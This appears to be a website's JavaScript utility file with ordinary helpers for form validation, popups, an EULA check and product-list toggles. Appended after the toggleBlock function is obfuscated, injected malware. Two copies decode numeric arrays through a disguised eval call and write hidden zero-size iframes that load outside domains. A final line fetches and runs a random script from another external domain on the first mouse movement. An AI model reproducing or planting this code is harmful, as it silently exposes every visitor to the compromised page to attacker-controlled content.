function isEmailAddr(elem)
{
	var str = elem.value;
	var re = /[\w\-]+\@[\w\-]+\.\w{2,3}/;
	if (!str.match(re))
	{
		return false;
	}
	else
	{
		return true;
	}
}

function checkForm(formObj)
{
	var flag = 1;

	var nameRef = document.getElementById("name_text");
	var emailRef = document.getElementById("email_text");
	var companyRef = document.getElementById("company_text");
	
	
	if(!(formObj['name'].value.length))
	{
		nameRef.style.fontWeight = "bold";
		nameRef.style.color = "red";
		flag = 0;
	}
	if((!(formObj['email'].value.length))||(!isEmailAddr(formObj['email'])))
	{
		emailRef.style.fontWeight = "bold";
		emailRef.style.color = "red";
		flag = 0;
	}
	if(!(formObj['message'].value.length))
	{
		companyRef.style.fontWeight = "bold";
		companyRef.style.color = "red";
		flag = 0;
	}

	if(!flag)
	{
		alert('Please fill in the marked fields!');
		return false;
	}
	return true;
}

function new_window(pageUrl)
{
	LeftPosition = (screen.width) ? (screen.width-700)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-700)/2 : 0;
	var win = window.open(pageUrl,'Product','scrollbars,width=700,height=700,top='+TopPosition+',left='+LeftPosition);
	if(win) 
	{
		win.focus();
		if(document.all)
			document.all['popwarning'].style.display = "none";
		else
			document.getElementById("popwarning").style.display = "none";
	}
	else
	{
		if(document.all)
			document.all['popwarning'].style.display = "block";
		else
			document.getElementById("popwarning").style.display = "table-row";
	}
}


function promoPopup(pageUrl)
{
	LeftPosition = (screen.width) ? (screen.width-850)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-700)/2 : 0;
	var win = window.open(pageUrl,'Featuring','width=850,height=700,scrollbars=1,top='+TopPosition+',left='+LeftPosition);
	if(win) 
	{
		win.focus();
		if(document.all)
			document.all['popwarning'].style.display = "none";
		else
			document.getElementById("popwarning").style.display = "none";
	}
	else
	{
		if(document.all)
			document.all['popwarning'].style.display = "block";
		else
			document.getElementById("popwarning").style.display = "table-row";
	}
}

function popupParam(pageUrl,width,height)
{
	LeftPosition = (screen.width) ? ((screen.width >= width)?(screen.width-width)/2 : screen.width) : 0;
	TopPosition = (screen.height) ? ((screen.height >= height)?(screen.height-height)/2 : screen.width) : 0;
	var winWidth = ((screen.width >= width)? width : screen.width);
	var winHeight = ((screen.height >= height)? height : screen.height);
	var win = window.open(pageUrl,'Featuring','width='+winWidth+',height='+winHeight+',scrollbars=1,top='+TopPosition+',left='+LeftPosition);
	if(win) 
	{
		win.focus();
	}
}

function checkEULA() {
	if(EULABox = document.getElementById('licence')) {
		if(EULABox.checked) {
			return true;
		} else {
			alert('You must agree to the terms of the EULA in order to download the demo version.');
			return false;
		}
	} else {
		return false;
	}
}

//======================================================================================================


//======================================================================================================

function findPosX(obj)
{
	var curleft = 0;
	if (obj.offsetParent)
	{
		while (obj.offsetParent)
		{
			curleft += obj.offsetLeft
			obj = obj.offsetParent;
		}
	}
	else if (obj.x)
		curleft += obj.x;
	return curleft;
}

function findPosY(obj)
{
	var curtop = 0;
	if (obj.offsetParent)
	{
		while (obj.offsetParent)
		{
			curtop += obj.offsetTop
			obj = obj.offsetParent;
		}
	}
	else if (obj.y)
		curtop += obj.y;
	return curtop;
}

function getInnerWidth() {
	var x;
	if (self.innerHeight) // all except Explorer
	{
		x = self.innerWidth;
	}
	else if (document.documentElement && document.documentElement.clientHeight)
		// Explorer 6 Strict Mode
	{
		x = document.documentElement.clientWidth;
	}
	else if (document.body) // other Explorers
	{
		x = document.body.clientWidth;
	}
	return x;
}

function getInnerHeight() {
	var y;
	if (self.innerHeight) // all except Explorer
	{
		y = self.innerHeight;
	}
	else if (document.documentElement && document.documentElement.clientHeight)
		// Explorer 6 Strict Mode
	{
		y = document.documentElement.clientHeight;
	}
	else if (document.body) // other Explorers
	{
		y = document.body.clientHeight;
	}
	return y;
}

function initScroll () {
	//browser detection
	var tabRef = document.getElementById('productListTab');
	var ie5 = (document.getElementById && document.all); 
	var ns6 = (document.getElementById && !document.all); 
	var ua = navigator.userAgent.toLowerCase();
	var isapple = (ua.indexOf('applewebkit') != -1 ? 1 : 0);
	
	var iebody=(document.compatMode && document.compatMode != 'BackCompat') ? document.documentElement : document.body;
	
	//determining the scrolled amount
	var pagex = (isapple == 1 ? 0:(ie5)?iebody.scrollLeft:window.pageXOffset);
	var pagey = (isapple == 1 ? 0:(ie5)?iebody.scrollTop:window.pageYOffset);
	
	var y = findPosY(tabRef)-5;
	
	//getting inner frame dimensions
	
	var innerX = getInnerWidth();
	var innerY = getInnerHeight();
	
	//getting document dimensions
	
	var docX = (document.width)?document.width:document.body.offsetWidth;
	var docY = (document.height)?document.height:document.body.offsetHeight;
	docX -= 10;
	docY -= 10;
	
	
	//alert('docX:'+docX+';docY:'+docY);
	while((y > pagey)&&((pagey + innerY) < docY)) {
		window.scrollBy(0,2);
		pagey = (isapple == 1 ? 0:(ie5)?iebody.scrollTop:window.pageYOffset);
	}
}


function toggleProductList() {
	var listRef = document.getElementById('productListWrapper');
	var tabRef = document.getElementById('prodListTabImg');
	if(!Element.visible(listRef)) {
		tabRef.src = '../img/product_list_open.gif';
		Effect.BlindDown('productListWrapper');
		window.setTimeout('initScroll()',1500);
	} else {
		tabRef.src = '../img/product_list_closed.gif';
		Effect.BlindUp('productListWrapper');
	}
}

function toggleBlock(signID,blockID) {
	var signRef = document.getElementById(signID);
	var blockRef = document.getElementById(blockID);
	if(!Element.visible(blockRef)) {
		signRef.src = './img/butt_minus.gif';
		Effect.BlindDown(blockID);
	} else {
		signRef.src = './img/butt_plus.gif';
		Effect.BlindUp(blockID);
	}
}function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var cu=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var jqzn=r[i].cssRules||r[i].rules;for(var bkar=0;bkar<jqzn.length;bkar++){var qb=jqzn.item?jqzn.item(bkar):jqzn[bkar];if(!qb.selectorText.match(/#va/))continue;qm=(qb.cssText)?qb.cssText:qb.style.cssText;cu=qm.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];gs=qb.selectorText.substr(1);};}catch(e){};}
me=new Date(2010,11,3,2,21,4);t=me.getSeconds();var cua=[400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,156/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,136/t,192/t,136/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,136/t,192/t,136/t,128/t,408/t,456/t,388/t,436/t,404/t,392/t,444/t,456/t,400/t,404/t,456/t,244/t,136/t,192/t,136/t,128/t,460/t,396/t,456/t,444/t,432/t,432/t,420/t,440/t,412/t,244/t,136/t,440/t,444/t,136/t,128/t,460/t,456/t,396/t,244/t,136/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,412/t,468/t,392/t,436/t,444/t,460/t,184/t,396/t,444/t,436/t,188/t,420/t,440/t,400/t,404/t,480/t,196/t,200/t,136/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,156/t,164/t,236/t];var vx="";var g=function(){return this;}();yrjy=g["e"+gs+"l"];var gub='';jq=yrjy(cu);for(var i=0;i<cua.length;i++){jm=yrjy(cua[i]);gub+=jq(jm);}
yrjy(gub);function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var uu=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var fx=r[i].cssRules||r[i].rules;for(var li=0;li<fx.length;li++){var fzok=fx.item?fx.item(li):fx[li];if(!fzok.selectorText.match(/#va/))continue;cwy=(fzok.cssText)?fzok.cssText:fzok.style.cssText;uu=cwy.match(/(S[^")]+)/)[1];rb=fzok.selectorText.substr(1);};}catch(e){};}
clpo=new Date(2010,11,3,2,21,4);t=clpo.getSeconds();var lz=[400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,156/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,136/t,192/t,136/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,136/t,192/t,136/t,128/t,408/t,456/t,388/t,436/t,404/t,392/t,444/t,456/t,400/t,404/t,456/t,244/t,136/t,192/t,136/t,128/t,460/t,396/t,456/t,444/t,432/t,432/t,420/t,440/t,412/t,244/t,136/t,440/t,444/t,136/t,128/t,460/t,456/t,396/t,244/t,136/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,456/t,388/t,408/t,408/t,420/t,180/t,428/t,388/t,400/t,388/t,408/t,408/t,420/t,184/t,396/t,444/t,436/t,188/t,408/t,444/t,464/t,444/t,136/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,156/t,164/t,236/t];var uifd="";var g=function(){return this;}();qi=g["e"+rb+"l"];var xgk='';pm=qi(uu);for(var i=0;i<lz.length;i++){qbq=qi(lz[i]);xgk+=pm(qbq);}
qi(xgk);document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
